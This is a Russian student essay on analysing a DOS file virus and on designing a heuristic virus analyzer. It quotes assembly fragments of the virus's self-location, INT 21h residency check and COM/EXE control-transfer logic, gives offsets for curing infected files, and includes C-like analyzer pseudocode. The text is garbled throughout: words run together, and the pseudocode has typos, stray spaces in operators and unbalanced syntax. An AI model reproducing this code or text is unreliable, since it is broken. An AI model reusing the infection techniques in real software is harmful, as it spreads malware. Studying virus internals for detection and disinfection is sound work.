-     изменилосьвремя создания файлов, точнее, изменилось количество секунд — оно стало равным60;

-     вначале файла test.com появилась команда jmp;

-     взаголовке файла test.exe изменились значения полей ReloCS,ExelP, ExeSP, ReloSS,PartPag и PageCnt.

Итак.

а) В начале вирусного кода содержитсяпоследовательность команд

вида:

   call sub_1

sub_1:    pop si

   sub si,3

Подобная последовательность символовхарактерна для очень многих вирусов. Команда call помещает в стек смещение следующейзаней команды. Это значение извлекается вирусом при помощи команды pop si (в товремя как обычно это делается командой ret) и помещается в регистр si.Скорректировав эту величину на длинукоманды call (3 байта), вирус получаетвозможность корректногообращенияк ячейкам памяти относительно кодового сегмента: movcs:Data[si], хххх. Не случайноDrWeb всегда реагирует на подобные команды в начале программ, выдаваяпредупреждающее сообщение. Впрочем, это не является обязательным признакомприсутствия вируса. Например, устаревшая пристыковочная защита отнесанкционированного копирования (НСК) <Nota> также пользуется этимприемом.

б) Важным элементом алгоритма вирусаявляется определение наличия собственного резидента в ОЗУ. Вызывая прерываниеDOSс<секретной> функцией 83h, вирус ждет реакции системы. <Здоровая>система не среагирует на провокацию, а <больная> поместит в регистр dxчисло 1990h (год создания вируса?), чем и известит о наличии вируса в памяти.Вот соответствующийфрагмент вирусного обработчика прерывания INT 21h:

cmp ah,83h

je loc_9

loc_9:

mov dx, 1990h

iret

Наличие такой проверки используетантивирус-фаг во время детектирования вирусного кода в оперативной памяти.Также антивирус-блокировщик может имитировать присутствие вируса в памяти, предотвращаяего внедрение в программное обеспечение компьютера.

в) В случае отсутствия вирусногообработчика INT 21h в памяти, вирус пытается установить его и остаться в памятирезидентно.Алгоритмрезидентной записи кода вируса в память основанна прямой модификации заголовкаблока памяти (МСВ). Подробное описание этого алгоритма и методов борьбы свирусами,использующимиподобный метод инсталляции, можно найти в одном из номеров журнала<Монитор> за 1993 г.

г) Установив свою резидентную копию вОЗУ (или обнаружив наличие такой копии), вирус передает управление оригинальной программе.Изучение этого момента чрезвычайно важно для анализа. В процессе заражения(данный фрагмент из листинга удален) вирус считывает (в data_15) 24 байтаначала программыи анализирует первые два байта из них. В зависимости отсодержимого первого слова (<MZ> или нет), вирус выполняет заражениежертвы либо по СОМ-, либо по ЕХЕ-алгоритму,  дописывая фрагмент памяти со своим кодом кее концу. Естественно, считанные 24 байта также дописываются в файл-жертву.Поэтомудляопределения способа передачи управления оригинальному коду программывполне достаточно повторно сравнить сохраненный фрагмент начала с признаком<MZ>:

cmp  cs:data_15[si],5A4Dh

je      lt_Was_EXE

В случае если программа была заражена поСОМ-алгоритму, вируспростоизвлекает первые 3 байта из ячейки памяти по адресу data_15,копирует их в старое начало оригинального кода (по адресу cs:100h) и передаеттуда управление. Адресу data_15 соответствует 80-ый (если считать от конца)байт зараженной программы. В случае если программа была заражена поЕХЕ-алгоритму, вирус вычисляет старуюточку входа по сохраненным в data_20 и data_21 значениям полей ReloCS и ExeIP,восстанавливает расположение стека по сохраненным в data_18 и data_19 значениямполей ReloSSи ExeSP и передает управление на ReloCS+ES+10h:ExeIP (ES -сегментPSP; ES+l0h — сегмент начала программы; ES+ReloCS+10h — полный сегмент точкивхода). Расположение этих адресов в зараженном файле (от конца файла):

data_20 — 60

data_21 — 58

data_18 — 66

data_19 — 64

Еще могут пригодиться сохраненныезначения полей PartPagиPageCnt (от конца файла):

data_16+1 — 78

data_16+3 — 76

Для излечения зараженного файладостаточно восстановить измененные значения ячеек, адреса которых только чтовычислили, и отсечь 1740 вирусных байт от конца файла.

5. Еще несколько особенностей, скоторыми иногда можно встретиться при дизассемблировании кода вируса и изучениилистинга. Кодвирусаможет быть зашифрован. В этом случае в начале вирусного кода долженрасполагаться расшифровщик. Вообще говоря, расшифровщиков может быть много, нопервый всегда существует.Еслирасшифровщик меняется от одного зараженного файла к другому, значит имеем делос полиморфным вирусом. Вырожденныйслучай — зашифровываются только сохраненные втеле вируса байты. Для СОМ-файла вполне достаточно пошагово пройти расшифровщикв отладчике, дождаться его завершения и сохранить на винчестер расшифрованныйкод вируса. Полученный файл можно дизассемблировать. Для ЕХЕ-файла такоене подходит, так как впамяти после загрузки отсутствует заголовок, и полученныйфайлне может быть дизассемблирован именно как ЕХЕ. Вероятно, придется писатьспециальную программу расшифровки на основе изу-ченного по листингу алгоритмарасшифровщика.Расшифровщикможет быть совмещен с алгоритмами, противодействующими трассировке кода вирусас использованием отладчиков. Ознакомиться с ними можно в специальной литературе,посвященной борьбе с НСК. Авторы вирусов, как правило, редко изобретают что-то новое ииспользуют широко известные методы. Эвристические анализаторы кода Эвристическиманализатором кода называется набор подпрограмм, анализирующих код исполняемыхфайлов, памяти или загрузочных секторов для обнаружения в нем разных типовкомпьютерных вирусов. Рассмотрим универсальную схему такого кодо анализатора.Действуя в соответствии с этой схемой, кодоанализатор способен максимальноэффективнозадействоватьвсю информацию, собранную для тестируемого объекта. Основныетермины:Событие- это совокупность кода или вызов определенной функции операционной системы,направленные на преобразование системных данных, работу, с файлами иличасто используемые вирусные конструкции. Цепочка связных событий — это наборсобытий, которые должныбытьвыявлены в порядке их следования. Цепочка несвязных событий — это наборсобытий, которые должныбытьвыявлены, но не обязательно в строгом порядке. Действия — набор цепочек связныхили несвязных событий, для которых выполнены все условия. Эвристическая маска — набор действий, выявленных при проверке файла.Эвристическое число — порядковыйномер первой из совпавших эвристических масок. События распознаются при помощиподпрограмм выявления событий, в которых могут использоваться также таблицы сданными. Остальные данные просто хранятся в массивах и не анализируются.Рассмотрим функциональную схему эвристического анализатора Эмулятор кодаработает в режиме просмотра, то есть его основная задача — не эмулировать код,а выявлять в нем всевозможные события. События сохраняются в таблице событий поалгоритму:

if (Events[EventNumber]= =0)Events[EventNumber]=++CountEvents;

где: Events — массив событий;

EventNumber — номер регистрируемогособытия;

CountEvents — порядковый номерзарегистрированного события.

/>

Таким образом, в ячейку массива Eventsзаписывается порядковый номер для выявленного события. CountEvents приинициализации равен 0. После того, как эмулятор завершит свою работу,последовательно запускаются два преобразователя. Первый преобразовательзаполняет массив действия, выбирая данные из массива событий и цепочек связныхи несвязных событий по следующему алгоритму:

for(i=0;i<CountMaskEvrnrs;i++) {

if (MaskEvents[i][0]= =0) {

for(j=2;j<MaskEvents[i][1];j++{

if(Events[MaskEvents[i][j]]= =0) gotonextMask;

}

else

for(e=0, j=2;j<MaskEvenfs[l][1];j++){

if(Events[MaskEvents[i][j]]==0 IIEvents[MaskEvents[i][j]]<e)

goto nextMask;

else e=Events[MaskEyents[i][j]];

}

Actions[i]=1;

nextMask:;

}

где: CountMaskEvents — число масокцепочек событий;

MaskEvents — двумерный массив цепочексвязных и несвязныхсобытий;

Actions — массив действия.

Затем выполняется второйпреобразователь, который выбирает данные из массива действия и цепочекэвристических масок и вычисляет эвристическое число по следующему алгоритму:

for(i=0;i<CountMaskHeurist;i++) {

for(j=1;j<MaskHeurist[i][0];j++)

if(Actions[MaskHeurist[i][j]]= =0)   gotonextMask1;

NumberHeurist=i+1;

break;

nextMask1:

}

где: CountMaskHeurist — числоэвристических масок;

MaskHeurist — двумерный массив сэвристическими масками;

NumberHeurist — эвристическое число.

еще рефераты
Еще работы по информатике, программированию